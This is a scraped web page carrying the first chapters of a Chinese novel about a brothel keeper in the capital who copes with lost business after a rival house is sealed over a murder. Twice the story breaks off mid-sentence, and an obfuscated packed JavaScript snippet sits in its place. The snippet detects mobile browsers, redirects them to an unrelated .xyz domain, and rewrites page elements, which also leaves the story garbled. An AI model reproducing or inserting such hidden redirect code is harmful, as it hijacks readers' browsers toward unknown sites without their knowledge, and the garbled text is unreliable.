《我本贤良》 1. 四大馆 最近京城风月场所的生意都不太好。 金絮嗑着瓜子,坐在廊下遮阴处,忧愁这两天的进账。 前几日刚给姑娘们结了月俸,现银已经快入不敷出了,就连手中这零星几个瓜子都还是上月剩余的。她幽幽叹气。 “金絮,你这个骗人的老鸨!” 出神间,一道怒喊惊起檐上飞鸟。 金絮转眼一看,拐角里丽姬疾步走来,飞起的衣袂像绽开的花朵,怒容与火红的衣裳两相辉映。 她搓去捏着的瓜子壳,愣道:“我怎么骗你了?” “我入馆时你答应我每顿都有肉的话去哪儿了?!” “哦......”金絮眨眨眼,“这个啊——就是,馆里不是缺银子嘛,我就让那钱屠夫今日少送了一点肉食。” “那是少送了一点?唾沫星子大的肉你就拿来敷衍我?” 丽姬秀眉一瞪,坐到她对面,质问地看着她,“我不管,反正我没吃饱。” 金絮端详丽姬圆润勾尾的狐狸眼和细腻光泽的脸颊,道:“没吃饱,但气色还是很好嘛。现在肉价很贵的,这一顿不吃,不是也没饿着嘛。” “饿着了!” 金絮无奈,“好好好,我晚上给你补回来行不行?可别饿着我的花魁了。” “前花魁!”丽姬语气不善地纠正。 “是是是,前花魁。”见丽姬差不多满意,金絮正想起身,又来一人,是丫鬟小缃。 “阿絮姐,畅春阁的包阁主来找你。” “包阁主?”金絮略一思忖,大概知道包春娘来找她是为何事,便道:“我知道了,你带点银子准备跟我出门一趟。” “好。”小缃离开。 金絮将手中瓜子倒入丽姬掌心,“先吃着,垫垫肚子,等我晚上回来。” “这点瓜子喂鸟都不够。”丽姬边嫌弃边坐到她原本的位置开始嗑起来。 金絮沿廊从前馆外侧去至正门,门外停了一辆简朴的马车,车旁站着包春娘。 包阁主神色不耐,身上亮黄的衣裳被太阳晒得愈发艳丽。 金絮忍不住眯眼,远远便嗅到一股脂粉香,率先打招呼:“包阁主好啊。” “哟,絮娘。”包春娘扭着丰乳肥臀走近,浓妆艳抹的脸笑成一团,脂粉浅浅地陷进皮肤里,“你馆内,这几日生意不好吧?” 金絮脸带笑,“是不太好。包阁主要进去坐坐吗?” 包春娘顿时笑开,捏着帕子的手虚捂嘴边,“呵呵,我就不去坐了。我们几大馆都派了人去勤思酒楼议事,一块儿商量商量今后打算,我来就问你去不去。” “是有关初香坊的事吗?”金絮问:“那我自然去。” 包春娘帕边的眼睛斜刺过来,笑得更开了,“不然还能是为了什么事?哦哟,我还以为你不去的,你们温柔馆不是一向不争的么?” “事情不小,还是争一下的好。”金絮笑笑,余光注意到小缃走至身后,“你们约的是哪一日?到时我定准......” “就是今日。”包春娘眼睛斜睨着她转身,小厮立刻车边摆凳,“你若要去,便现在与我一同去了,上车吧。”边踏步上车,边用刻意压低却又能让人听见的语调碎碎念叨:“如今倒是知道要分‘你们’和‘我们’了......” 金絮当做没听见,继续笑,“多谢包阁主。”她也踏上马车,“包阁主今日能特地来告知我还愿意捎带我一程,真是万分感谢了。” 包春娘坐在最里面,听见她这话微微挺直了腰杆,再抬了抬下巴,却是没回话。 金絮坐在侧边,看了眼薄薄的门帘,能透过门帘大致看见车外的风景,她不动声色向后挪,靠在车壁上。随即车身一抖,晃晃悠悠地往前行。 事情就发生在半月前。 那天夜里,京城四大青楼之一的初香坊突然死了个男客,消息还未传开,廷尉当夜就迅速封锁了初香坊,捕获馆内一干人等。 坊间目前只知道死的人是丞相府长史,至于因何而死、自杀还是谋杀则一概不知,民众各说纷纭,谣言四起。金絮是第二日一早才听说的,她知道后没过三日,青楼女子刺杀相府要员这一流言已经不胫而走。直到第五日,廷尉发出通告,言案子告破之前,民众尽量少、官员禁止逗留秦楼楚馆等地。京内一时间闹得沸沸扬扬。谣言越传越夸张,有的香艳有的阴狠,却都致使各大青楼生意名誉断崖下跌。 温柔馆跌得尤其严重。 金絮心态还算平和,即便生意不好,这几年积蓄也不是说没就能没的。她猜到鸨母们不会坐以待毙,肯定会想去向官府自证清白。只是她担心的是初香坊真的杀了相府长史,那样的话,不知她们一伙去跟官府告状的人会不会不仅无法摆脱和初香坊的关系,反会显得自己是急于脱罪,然后被当成从犯。 她不清楚官府办案原则是怎样,但也不至于上赶着去增加自己的嫌疑。 现在青楼们召集议事,她旁观地凑几眼,了解下事态,之后再做进一步打算。 夏日热风不时透过薄帘吹入车内,金絮环视一圈打量车厢环境,车身简朴,没什么装饰,从车轮的咔吱声可以听出木板也是比较脆的,她一边看一边努力控制身体尽量不随着马车晃荡而左右摇摆。 “温馆主看我这马车怎么样?花了大价钱造的,如今风言风语,越是不能让人看低了我们去,就是要用这种东西来显显身价,让人知道,我们跟初香坊可不是一类的馆。” 脂粉香被锁在车里,时间久了慢慢闻不出来,金絮微笑道:“这马车是不错。” “那是自然。我特意让人把车身往大了造的,自然好。” 金絮低头看她和包春娘近乎挨在一起的膝盖,顶多她对面还能再勉强挤个人。 “是......是挺大的。” 包春娘闻言,喉咙里的笑声从鼻子里哼出来。 金絮找话:“包阁主,畅春阁近日生意怎么样?还算好吧?” “当然。生意么,虽然确实不如从前了,但我好歹这么大一个馆,那些熟客又怎么可能放得下我的姑娘们,即使有初香坊的事又如何?还不是巴巴地给我送钱来。” “那就好。不像温柔馆,我馆里昨夜才三个来客呢,真是......” 包春娘开心地把眼睛弯成一条缝,眼角些许皮肤吃粉更深了。 金絮无奈笑笑,嘴上还是道:“其他馆呢?恣春楼生意也还好吧?” “还行。”包春娘昂下巴斜眼看她,“小花那馆一向跟在我后边儿,能差到哪儿去?” “哦。”金絮点头,无所谓道:“那就好那就好。” 车子逐渐驶至一条僻巷,正午本就不热闹,周围人声更歇。金絮隔帘看到勤思酒楼的门牌,待车停定后,掀帘下车,再转身虚扶一下包春娘。 二人步入酒楼内,包春娘略过迎前招呼的店小二径直上楼,在后方的金絮只好朝小二点一下头,再跟上,随之进入一间包厢。 房间很大,帷幕三重,薄帘不低,高高悬着,分出的三席代表不同级别的馆阁,榻席上皆摆有正方的案几,小盏飘着茶香,在内已有二三十个年龄不一的女子......居然还有几名男子。 应是某些老鸨的丈夫吧。 随着她二人到来,房内热闹一阵,金絮浅浅扫一圈,点头以示礼数,在最中央一处席位坐下。 这一席总共四个位子,初香坊缺席,除了她和包春娘外,还有一人就是恣春楼的赵馆主。 “赵馆主好啊。”金絮道一声,得到赵馆主的回应。 这时一名男子站起来,道人已齐了并招呼大家先用饭,菜已点好,酒水也备好。金絮看着,猜这人应该就是这次集会的发起人了。 群众中却有人坐不住,勉强耐着性子着急道:“李大哥,你不如先说说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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金絮想起来了。这李大哥是惜昔馆馆主的丈夫,惜昔馆今日如此积极地筹办集会,估计是盯上四大青楼有可能因初香坊被封而空出来的一个位子。 “那我们难道就不做声么?!任由他们把脏水往我们身上泼?!” 热菜上来,金絮吃菜旁听。 “不正是因为容易招嫌才更加要自证清白吗?若我们不发一言,直等官府结案,结果我们莫名其妙被判了罪,到那时才真真有冤无处说去。” “我们也不能就这么被初香坊拖累啊!我馆子已经一连几日没客来了。” “说到底,那初香坊杀没杀人跟我们有啥关系?即便怀疑我们联手也是需要证据的吧?他们官府也不能空口白话就定人罪的吧?更何况......不是也还有许多青楼是那长史大人不曾光顾过的么......” 一阵静默。 静默许久,一名女子声音悄悄响起: “其实,说句实在话,对于我们小馆而言,澄清不澄清都不重要,在初香坊出事之前,我们生意就不见得有多好,我那个馆都关了好几天了,与其像现在这样干耗着,还不如卖了......” “是啊是啊。” “卖了至少还有笔银子呢......” 金絮仍旧吃饭,偶尔抬头瞟几眼,基本上他们争论的内容都在她的意料之内,告状与否、澄清与否的关键不在于他们跟官府或者是散布谣言的民众之间,而在于青楼内部大馆与小馆之间的立场矛盾。 大馆需要小馆人势助威,小馆却未必愿意跟着大馆抛头露面。 穷人不会想着上青楼,凡有钱能上青楼的人又不会看向寒酸小馆。小馆在大馆之下夹缝求生,从前的生意与现在相比无非是很差与更差的区别,不愿意冒着沾染嫌疑的风险讨公道也是情有可原,金絮不想多劝。 真正被危害到利益的是大馆,一落千丈的生意可不是人人都能承受得起的,加之十多年来的心血,如此付诸东流肯定想尽最大力挽回。 但挽回的同时又不希望自己跟人命案子扯上关系,这就需要一个合适的出头鸟了,看来惜昔馆搞这次集会不是真的想听各馆的想法,而是专门为看看大馆的态度。 2. 童忆 大馆该发话了。 如今四大青楼少了初香坊,畅春阁和恣春楼连成一气,单单独出个温柔馆。 金絮觉得自己很可能被推出来做这个出头鸟。 现在情况不明,不确定的问题太多,她可以出这个头,但必须是能保证温柔馆全馆上下所有人的安全才行。 她已经不需要听完就能预见到这次集会的结果了。 就是没有结果。 即便选出个出头鸟,这只鸟大概也会拖着,直等到事态发生更为明显的变化后才会有所行动。 那边众人仍在争论,隐隐有吵起来的架势。金絮注意到惜昔馆馆主往她这桌偷偷瞥了好几眼。 她再看看同桌的包赵二人,赵馆主一副紧随包春娘的态度,而包春娘从争论开始就一直闭着眼,似在沉思。 金絮也不管,盯着一盘鸡,这桌上三人只有她一个在吃。 很快,争论的矛头便在一人的提议下指向了她们三馆。 “大馆在前打头阵,我们小馆才会跟着旗子跑嘛,你说是不是,包阁主?” 包春娘睁开眼,金絮也放下筷子。 “说的是。若没个撑得住场面的人站出来,旁人还以为我们青楼行当尽是些忍气吞声的人呢。”包春娘看金絮,似笑非笑,“温柔馆不是一向多结交些大官么,想必你们说的话官府是会掂量掂量的,温馆主以为呢?” 场内有附和声响起。 倒是直接。 包春娘虽然心眼小,但确实不会拐弯抹角地使绊子。 金絮一笑,慢慢道:“为咱们讨公道我自然是十分愿意的,只是眼下情况不明,更不知初香坊是否真的杀了人,我总不能拿全馆所有人的安危去冒这个险吧。而且,温柔馆并不结交大官,任何人入了我的馆,都只是来客,而不是官衔,我若说的话不对,官府也是听都不会听的。” “呵,这倒是你们温柔馆会说的话。”包春娘拿手捂笑,眼神精光地瞪她。 “对对对!”赵馆主赶紧附和,“说是愿意,实际啥也不做。” 金絮表情不变,直接道:“其实这事儿吧,我觉得男子要比女子更好办些,男子说出来的话本身就有更多人会听,也更撑得起场面来。”她看向李大哥,“况且,四大青楼一直不曾有男子主持,空出来的这一位不正需要可撑场面的馆子么。” 如果初香坊真的被封,惜昔馆想坐上四大青楼的位子也该拿点投名状出来。 她扭头朝包春娘笑道:“您说是吧,包阁主?” 场中有人应和她:“温馆主说得没错,这种事确实男人出面更为合适,不知在座的各位大丈夫有何主意?” 李大哥刚才注意到了她的眼神,此刻正和惜昔馆馆主头碰头地低声交谈。 金絮看他们样子就知道他俩对她这话没有丝毫准备。 这下既不想出头,又怕错过成为四馆之一,更怕一犹豫就被别的馆抢先。 这场集会差不多可以散了。 金絮收拾收拾,擦擦嘴,给小缃那边递个眼神,示意小缃准备离开。 几名男子开始表现得半推半就,都是些小勾栏老鸨的家属。李大哥更着急了。 但这些小勾栏估计做得再好都很难上位。 金絮看在眼里,包春娘少见地不说话,可能是怕她会再把矛头推向畅春阁。 终于,李大哥拍桌而起,奋然道:“这事就由我们惜昔馆包下了!” 场内响起一片迎喝之声,金絮也适时夸赞几下。 之后,大家对如何跟官府告状申明自己的主意,但到这类具体事项上惜昔馆却支支吾吾不说明白。 事情先包下,做就先拖着。 金絮能理解,不想再多插手,趁混乱之际,到李大哥旁,递一点碎银给惜昔馆馆主,作为这顿饭钱,再悄然离开。 天刚过午,日头正热。 小缃撑起一把伞,盖过头顶,遮住烈日。 “你还带了伞。” 小缃一笑,金絮道:“走吧,去集市,看看还有没有新鲜的肉食。” 街上行人不多,摊贩也没有几个,这个点大部分人都窝在家里躲太阳,仅有的还在营生的人也都是平时花不起秦楼楚馆开销的人,认不得她们。 金絮只觉被热气蒸得有些恹恹的,但内里精神势头却很好。 “好久没晒太阳了......” 盛夏时节,路边只有一些小花,虽小,开得却艳,但没什么香。金絮边走边闲赏,路过城内河时,河上某家富商的画舫游起来了。 “还有两月就中秋了,不知道今年那些富商们打算怎么过。” 去年是办诗会,希望今年不是,诗会忒无聊。 这里去集市路有些远,从集市回温柔馆才稍近些,沿河走一段再拐两条街后南市正门出现在眼前。 金絮首先去找跟温柔馆厨房有搭伙的屠夫。 “卖完啦!”身材壮实的钱屠夫手拿剁肉刀粗声道:“絮娘啊,你不是说今天不用往你家送的吗?我这都卖完正准备收摊了。” “钱大哥生意好啊。今天的确是不用送的,呃,但又觉得还是要买一些......你这一点都不剩吗?有没有个,骨头什么的......” “没有了,下次要早点来啊!” “那好吧,打扰钱大哥了,你忙吧。” “以后还要往你家送不?” “这几天还送。” “好嘞!” 金絮只能再去别的屠夫处找找,走断腿之后勉强从十来家贩肉摊搜刮到二十斤左右大大小小鸡鸭牛羊混杂的肉。 “二十斤,不够啊......” 其中一个摊主看她包揽了余货还贴心地送了个竹筐,给她用来装肉。 小缃道:“阿絮姐,你留在这儿吧,我去更远的地方看看还有没有。” “好,再顺便看看能不能租辆牛车来。” 小缃离开,金絮留下看肉。 此刻集市内大部分摊主都收了摊,只余几个卖干货的还在搧蚊子,地上泥泥水水湿滑一片,果皮烂菜叶随处可见,飘散的气息十分市井。 金絮找不到干净的地方可以坐会儿,只能拢拢衣摆,靠角落蹲下。旁边蔬菜摊的大婶收好东西正在摊位扫地,金絮无聊便看着打发时间。 那大婶注意到她,将垃圾一铲,热情笑道:“妞儿啊,你是哪户人家的千金啊?怎么自己个儿出来买菜?你屋里下人呢?” “啊?”金絮愣了一下,忙摆手,“不不不,不是啥千金,当然得自己来了。” 大婶笑得爽朗,“妞儿啊,你是之前没赶过集吧,不知道赶集要赶早的,来,婶儿这还剩了卷白菜,你拿去!”说着从自己摊里捞出棵大白菜,扯掉外面两片发黄的烂叶,推给金絮。 “不用不用不用,婶儿自己留着吧,下回卖......” “放到下回就不新鲜喽!”大婶和蔼地笑,“送你了,以后常来啊!” “那谢谢婶儿了,以后一定常来。” 金絮喜滋滋收下,白菜蛮大的,可以拿来包饺子,那这些肉差不多也够了。 “絮娘?” 身后有人唤她,金絮回头,来人一身蓝衫,阳光下的俊颜晃了她一眼,定睛瞧,“林公子?” 她抱着白菜裣衽一礼,“林公子怎么在这儿?” “路过。”林童忆走近,手中打开一把折扇,笑吟吟看着她,“这么巧能遇见你,你这是......给温柔馆买菜?” 她干笑,“是啊。林公子是在办事吗?” “办完了,正准备回去,需不需要帮忙?需要的话我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839737|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送你一程,你这筐肉不好抬回去吧?” 金絮正想婉谢,小缃回来了,告诉她肉铺全部收摊,牛车也要走两条街才有地方赁到。 林童忆笑得眼睛弯弯,“我送你一程吧,反正顺路,马车也放得下。” 金絮只好答应,“那麻烦林公子了。” 他的小厮拉来车辆,和金絮一起将肉筐搬到车后面。 林童忆的马车就比包春娘的要宽敞许多,可以坐下六、七人,车壁上端凿有镂空花纹透光,不需要用薄纱作门帘也能增加光亮,车轮加固过,很稳,乘起来舒适许多。 他坐在首位。金絮仍坐侧边,犹豫着要不要靠近窗口。 “林公子,我刚从青楼掌柜们的集会里出来,身上可能沾了点胭脂味,你多担待,我把窗帘开开,尽量不让气味留在你车里。” 他微微摇手,“不要紧,我平时也会熏香的。” 金絮把帘拨到一边用绑带扣住,再用后背虚虚挡住窗口,听见他问: “温柔馆生意如何了?我这两日有些忙,照顾不到你的生意。” “林公子客气了,生意确实没那么好,但还能维持日子,我目下也在考虑往后的打算了。倒是林公子,忙的时候也要注意休息。” 林童忆闻言淡淡一笑,手指把玩折扇,“好。”又道:“你若有困难,随时同我说,我能帮就帮一点。” 金絮露齿笑,“那先谢过林公子了。” 林童忆的林氏布行和温柔馆位于同一条街,两家平时常互顾生意,他偶尔来温柔馆吃饭,而温柔馆里所有衣裳全出自林氏布行,当年林布的衣裳还因适配丽姬而小小出名了一把。 “那你往后怎么打算?如果温柔馆经营不下去,预备换个行当么?或者,你还想不想待在京城?” “待在京城?”马车拐了一个弯,车壁镂空处透进的阳光,金絮抬头看了看,“若温柔馆换个行当,我倒是没想过换做什么了。” “温柔馆很大,可以直接做成酒楼客栈。”林童忆道:“做成客栈的话与现在并无太大分别,你的姑娘们也不用接客了。” 金絮点头,“是条出路。” 许是看出她不愿多谈,林童忆便止住话头,将折扇打开,轻轻搧着。 金絮自然地被他这动作吸引了目光。 那扇子偏小,样式简朴,看起来有点旧。 京城浮华遮眼,男子普遍都爱养着装风流的习惯,折扇就是增加风流气质的好物之一。凡稍长得有俊容姿,穿着白衫,摇着扇子往街上那么一站,便能引得姑娘们暗里频频侧目。 只是后来模仿的多了,人们也渐渐发现,这风流的最大关键处,还是在脸,而不是扇。 她记得,林童忆最初就是凭借外貌在京城打响了一点名气的,如此风流自生,全然不需要身外饰之类。 她盯得恍了神,忽见那扇子合上凑近,在她眼前晃了晃。 金絮回过神来。 “喜欢?”他问。 金絮摇摇头,却是把那扇接过来,近看发现更旧,“就是觉得小了些,与你不搭。” 她将扇子打开,棕色泛糙的扇柄和绘了半朵花的扇面,再无别饰,朴素得很。 “这是童扇,小时候在太南的一位故人送的,好多年了。” 她也能猜到,如果不是有情谊在里,谁会把一面旧扇留这么多年,早就换新的了。 “既然是故人相赠,是应当好好收着。” 金絮说着将扇递回,突然反应过来他刚才的话,“你是太南人?” “不是。小的时候躲避战乱,逃经太南,结果发现太南也不好待,才又来了京城。”他将扇收好。 “京城更不好待。”金絮道:“虽然战乱确实波及少一点。” 林童忆笑着点头,表示赞同。 3. 假清高 两人间一阵静默,车子渐渐驶入大街,入耳声音喧嚣起来。天色渐至傍晚,各处灯火逐一点燃,金絮探头朝外看,温柔馆的正门已经可以看见。 “马上到了。”林童忆道。 “林公子,可以停去温柔馆后门吗?厨房就在后院,离得近一些。” “当然可以。”他吩咐车夫。 车外有小缃指路,两次转弯后来到温柔馆后方的僻巷,金絮率先下车,林童忆随后。寂静暮色间,万家灯火在远处。小缃拿钥匙打开路边一间门户,门后就是温柔馆寝楼。 “原来你温柔馆的后门是在这儿,以前还不曾来过。” 林童忆帮着把肉筐抬下,放到门内。 “来客都从正门出入,林公子不知道也是自然。” “虽说畅春阁才是四大楼之首,但若论占地,还是你的温柔馆最大。” 金絮客气一笑,“人多嘛。” 她刚说完,身后突然有个人扑抱上来,扑得她往前倾,余光中擦脸出现一只艳丽的狐狸眼,腰间被戳上一根指头。 “这么晚才回来,我都快饿死了。”丽姬一边抱怨,一边拿手指戳她。 “饿一下也好,把胃口饿小点。”金絮扒掉腰间的手,丽姬却在看见林童忆后瞬间换副面孔。 “童郎~你有两日没来了,丽姬很想你呢~”丽姬胸手自然灵巧地往林童忆身上贴,双眼一眨明送秋波。 林童忆往旁略微一侧,袖子被抓着也仍拱手一揖,“丽姬姑娘。” “童郎啊,我想穿新衣裳了......” 丽姬顺着他袖子作势要再贴上去,金絮急忙挡住。 林童忆笑道:“好啊,我店里正好有批新衣做出来了,冬蚕丝,纹金红,很适合丽姬姑娘。” “别!”金絮打住,“多谢林公子好意。”转头朝丽姬道:“我哪来的银子还给你买新衣裳?吃你的肉去吧。” 丽姬看看她,又看看林童忆,撇撇嘴,甚没趣地走开,瞧见肉筐后眼睛一瞪,“这么少?喂鸟啊?” 林童忆顿时笑出声。丽姬瞅了他一眼,再不痛快地看着金絮。金絮只好轻声哄着:“好啦,今日先这样吧,我跑遍整个集市也才买到这么多,明天我再喂饱你好不好?” 丽姬脸色缓了缓,但仍旧不痛快着,最后勉为其难点头了,单手轻松拎着二十多斤的肉蔬往厨房走去。 林童忆继续笑,“看不出来丽姬姑娘胃口如此好。” “还好啦,那点肉分给全馆确实少了些。”金絮看着丽姬的背影道:“这都是因为以前被饿过,让林公子见笑了。” “不会不会,说明姑娘们还未有太焦虑。”林童忆道:“絮娘,在下就先告辞了,改日再来。”说罢,弯腰一揖。 金絮回一礼,“林公子慢走。”送他上马车后道:“今日真是多亏林公子了,改日你来馆中,我请你喝酒。” 他扇拍手,“好啊,那说定了,我一定很快就来。”他笑一下,钻进车中,小厮打马离开。 金絮目送他们离去,关好门,回身环顾一圈,刚才还在这嘻戏的姑娘们都随丽姬一起去厨房了。 寝楼后面这块小花园当初被姑娘们缠着弄了几架秋千、围了一小片花圃,如今还真长出几株花来,夕阳覆盖下的花瓣都看不出原色了。 金絮笑笑,也去厨房。 此刻厨房里十几个人颇为有序地进行切肉、剁馅、揉面。她便坐一旁等着张嘴。 没用多久,一大盘一大盘蒸好的饺子端出,前馆和寝楼的姑娘丫鬟们也都过来换班用饭。 金絮吃饱后,得知前馆已经有客来了,便去寝楼换衣服。 天色已黑,星星挂起,夏夜蝉鸣,沿路可见丫鬟提灯走过。 寝楼由两座楼连成,其中一楼供全馆所有人住宿用,另一楼上两层是厨房,做有烟的菜品,下两层是浣衣的地方,两座楼相连构成折角,角的对面还有一间矮屋单独用作库房,整个寝楼的大小堪比前馆。 金絮的房间在一层,她进入后挑了身艳丽的衣裳换上。小缃在旁掌灯。 “阿絮姐,你着急么?” “急什么?” “你自己和姑娘们未来的生计啊。”小缃显得有些着急。 金絮理了衣袖,在铜镜前往自己脸上抹一层厚厚的胭脂,“有乡的归乡,有门手艺能养活自己的就自去流浪,有被大户看上能收做妾的做妾,有的发点银子自己求生去。不然还能怎样?我不可能照顾她们一辈子。” “那你自己呢?你总有为自己考虑?” “我啊?我应该会去流浪。” 金絮半开玩笑。整理好后她在镜子前一站,见里面映出个庸脂俗粉,便向前馆走去。 “小缃,你别担心了,我自有打算。反倒是你自己,要是温柔馆散伙了,你准备去何处?” “我……”小缃眼神微微无措。 金絮道:“应该从哪儿来就回哪儿去。” 小缃又把头低下,没说话。 二人穿过隔挡寝楼的拱门,前馆和寝楼中间是供客的大花园。园子里小亭、假山、游廊,中间一个喂鱼的水池,烛火盛亮,幽幽花香。 金絮本想从池上的砖桥通过,却发现右边的亭子里有人影和说话声,她往那处瞥了一眼,看见是一男一女,便扭头往左侧绕路。 她认出了那两人,男的是御史中丞冯棹台,女的是雪姬。 她跟姑娘们吩咐过,不要让官爷——尤其是高官——把国事带入温柔馆。若是在哪个僻静的角落里遇见两三个男人聚在一块儿,都要打散。 因为他们往往喜欢借着青楼混杂的环境做掩饰而密谋些什么。 虽然谈论的可能不是什么大事,但她还是不希望被迫牵扯上除了脖子以下的其他事情,尤其是朝廷里的那些乌糟事。 而现在,有雪姬陪着,那她就不管了,且冯棹台似乎也只有一人。 金絮走在矮竹夹道的石子路上,想起刚才自己随口说的做妾的出路。 那冯棹台年纪不满三十,未娶妻。现今他敢不顾官员的身份和官府的警告冒着巨大的风险来青楼,应该是对雪姬动了几分真意思。 石子路尽头出现灯火辉煌的前馆,木制红漆,气质暗沉,还未进入耳边已能听见女子低哝软语的唱曲声。 小缃推开后厢门,入耳声更大了些。 后厢房内烛火偏暗,空气中有轻微药香。与前馆正门相对的这一排后厢房,是供姑娘们休息、补妆和丫鬟们收拾茶酒点心用,不大,一楼还有另开的一间用做无烟点心的小厨房。 房中正有一人,灰色麻衣,在一辆小推车旁拣些装了药的瓶瓶罐罐,小缃看见了便打声招呼:“孙姨。” 孙姨长了皱纹的脸看过来,和蔼地朝金絮笑了笑,金絮也点点头。 小缃收了灯笼,在房间一侧整齐码着的半人高小车中随手拉了一辆,往车上补齐了前馆厢房中所需的一应物资,便推车出去了。 金絮扫视一圈,没什么事,便打算上楼。她转身朝斜梯走去,后厢房各层是连通的,可以不用出去就能上下楼,而且每层斜坡相连,方便小推车上下。 金絮上至三楼,推门出去前馆,入眼光线骤然变亮,入耳曲声温柔清晰,听之软骨。她辩出唱曲的人是水夭。 她合上门,到走廊外沿的栏杆上一望,整个前馆尽收眼底,满堂金色,粉缎纱罗,琴曲吟哦。 前馆呈回字筒型,共有四层,天花板封顶,一层是厅堂散位,听歌赏舞,吃酒摆席;二层以上,除后厢房外,其余都是供客的房间,每层大大小小有四十间,一层比一层豪奢,第四层的厢房是最侈的,总共只有三间。 身为老鸨,金絮每日到馆的第一件事,就是在可一眼看遍全馆的位置先做番观察,看各层的丫鬟们是否偷懒耍滑,姑娘们出了几个、状态如何、没出的是什么原因之类。 此时,二楼和三楼都各有一间厢房门口的灯笼是亮着的,亮灯表示里面有人。 金絮看清后皱眉叹气,生意是真的不好。 这个时辰若放在往日,且不说人满为患,但至少是只余个四、五间厢房的,何至于此刻大厅也才三席,每席还只一人。 金絮脑子里立刻开始盘算总账。 柴米油盐、衣食烛香、瓜果酒药和姑娘丫鬟们的月俸,花的还没赚的多。 金絮当初接手温柔馆,花了大心思扭转馆风,让温柔馆看起来文文静静的,即便是最繁忙的时期,厅内的人声也绝不会大过唱曲声,拥有了独立于勾栏瓦舍之外的清高气质。 她本意是想吸引富有的商人们的,结果商人没遇着几个,来客里反而是达官贵人居多。那些读过书的文人官员,许是就会喜欢温柔馆这种带点文气的腔调。 如今倒好,初香坊的事情出来后,官员们怕沾惹祸事,暂时是不敢再登青楼了。这也是初香坊出事后四大馆生意皆受损,但畅春阁和恣春楼的收入却都比她高的原因。 失了主客源,还要维持这么大个馆的运作和近两百口人的日常生活,如此高额开销,金絮觉得自己得准备准备,拿出点私房钱了。 她就不应该把眼光放在外在气质上,硬装什么风雅。能活下去才是最紧要的。金絮现在是真反思自己一直以来经营温柔馆的方法也许是错的了。 该粗糙就粗糙,该低俗就低俗,这才是一个妓院该有的风格。 看来这京城的繁华,不仅遮了世人的眼,快把她的眼也遮了。 “阿絮姐。” 一道声音打断了金绪,唤她的人是馆内管账目的大厢。 金絮不在的时候,馆内当家的人就是大厢。 大厢抱着本册子走来,拿着只炭笔告知她目前馆内各处情况。 “今日来月事的有六位姑娘。二楼厢房是城东王家三少爷,叫了火蓉和化莲,三楼厢房是冯公子,这会儿正和雪姬在花园里。厅内三席,一位是王家大公子,凝荷陪着,应该是带自己弟弟来见世面的;贾老板今日傍晚刚到馆,这次似乎会住久一点,叫了媚秋和纯冬;薛老板点的水夭,可能会开房。” 薛老板一向的习惯就是先点人在厅堂登台唱个曲,算前菜,然后再入正题。 这都是熟客了。 大厢继续道:“但比较奇怪的是,水夭已经是唱的第五只曲了,薛老板还没带人进房的意思,平时听一 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金絮不紧不慢地走下楼梯,挑了个姑娘站台唱曲后,到贾老板近前,招呼道:“贾老板,好久不见。” 贾镇四十多岁,有妻妾,家在并阳郡,贩药材生意,长年往来于各地通商。他在京城时,一直住温柔馆,近一年时间,已经把馆内各个姑娘裹着被榻拥了个遍。 贾镇横肉挤眼,抬头盯着她道:“是啊,上回还是去年来的。絮娘,我这几月没来京城,不想变化还挺大,如今人是都不上青楼了?怎么这般冷清?” 金絮笑笑,“贾老板若想知道,尽可让人到温柔馆外打听打听。” 青楼里死了个长史这种事不需要刻意打听都能知道,贾镇午后进京,有足够的时间可以让这件事传到他耳朵里。 她说完,贾镇没反应,被肉挤得近乎看不见的眼再眯了眯。金絮看得明白,商人脑子开始活泛时就会露出这样的眼神。 可她不想跟他打算盘,于是扯开话题,“贾老板今夜的浴水想用什么香的?我让人提前准备。要不要试试馆里新进的冷竹香?” “冷竹香?”贾镇问:“新听说。朝廷里那些年轻官老爷儿会稀罕吗?” 听到如此直白的“朝廷”二字,金絮心中一凛,面上神色不变,答:“当然会,少男少女都喜欢,更别说是贾老板您这样的人了。” 这话显然说得他十分受用,贾镇哈哈一笑,圆滚的肚子挺起来,等他笑够了,继续说道:“絮娘啊,我最近在想,要不要把你这馆买下来。” 买? 金絮眼皮一跳,愣了一会儿才反应过来,“贾老板这次来温柔馆是来谈生意的?” “是也不是。”贾镇道:“还是要看你意愿。你要是卖给我,我就连人带馆一块儿搬到并阳去,那地方才适合这样的馆子营生。” 金絮脑子里快速思索,仔细考虑他这话。 贾镇财多,出手又大方,她不愁温柔馆会不卖个好价钱,只是她不太相信贾镇这个人。 眼见贾镇一直盯着自己,金絮还未来得及更深入思索,嘴上便先拒绝了。 “多谢贾老板好意。只是温柔馆若是换了地方,这馆的名声也就相当于砸了。” 她这话不太好听,但贾镇似乎料到她会这么说,于是压低了声音道:“温馆主先别急着拒绝,我可听说了,朝廷打算增税。” “增税?” 贾镇状似高深地点点头,“专涨这青楼销金窟的税。” 金絮心中万分惊骇,正自思索着,眼角余光注意到邻席的王大公子王殊向这边看了过来,她立刻压下情绪,面上做出不置可信的模样,“我考虑考虑。” 说罢她就想走开,贾镇跟着她的动作,张开两手拢了媚秋纯冬,看着金絮扬声道:“温馆主生意不好,我有一办法能让你生意好起来。” 金絮顿住,考虑到王殊正看着,几番纠结后还是给场子地问:“贾老板说说看?” 贾镇笑了笑,肉.缝里的眼睛上下打量了她一会儿。 这眼神金絮在青楼见得更多了,猜到他要说什么,正想该怎么把刚才那话收回时,果不其然听见他说: “京城里惦记着絮娘的人可多着呢,只要你接客,这小小温柔馆还不是轻而易举人满为患?” 一直注意这边动静的王殊听见,立刻附和道:“絮娘若是开客,我王某人第一个捧场!” 金絮并未太过尴尬,只是没想到贾镇会如此直白,还没开口,身后大门处传来一阵骚动。 她转头,原本还在门口揽客的众姑娘簇拥着一名男子进入。 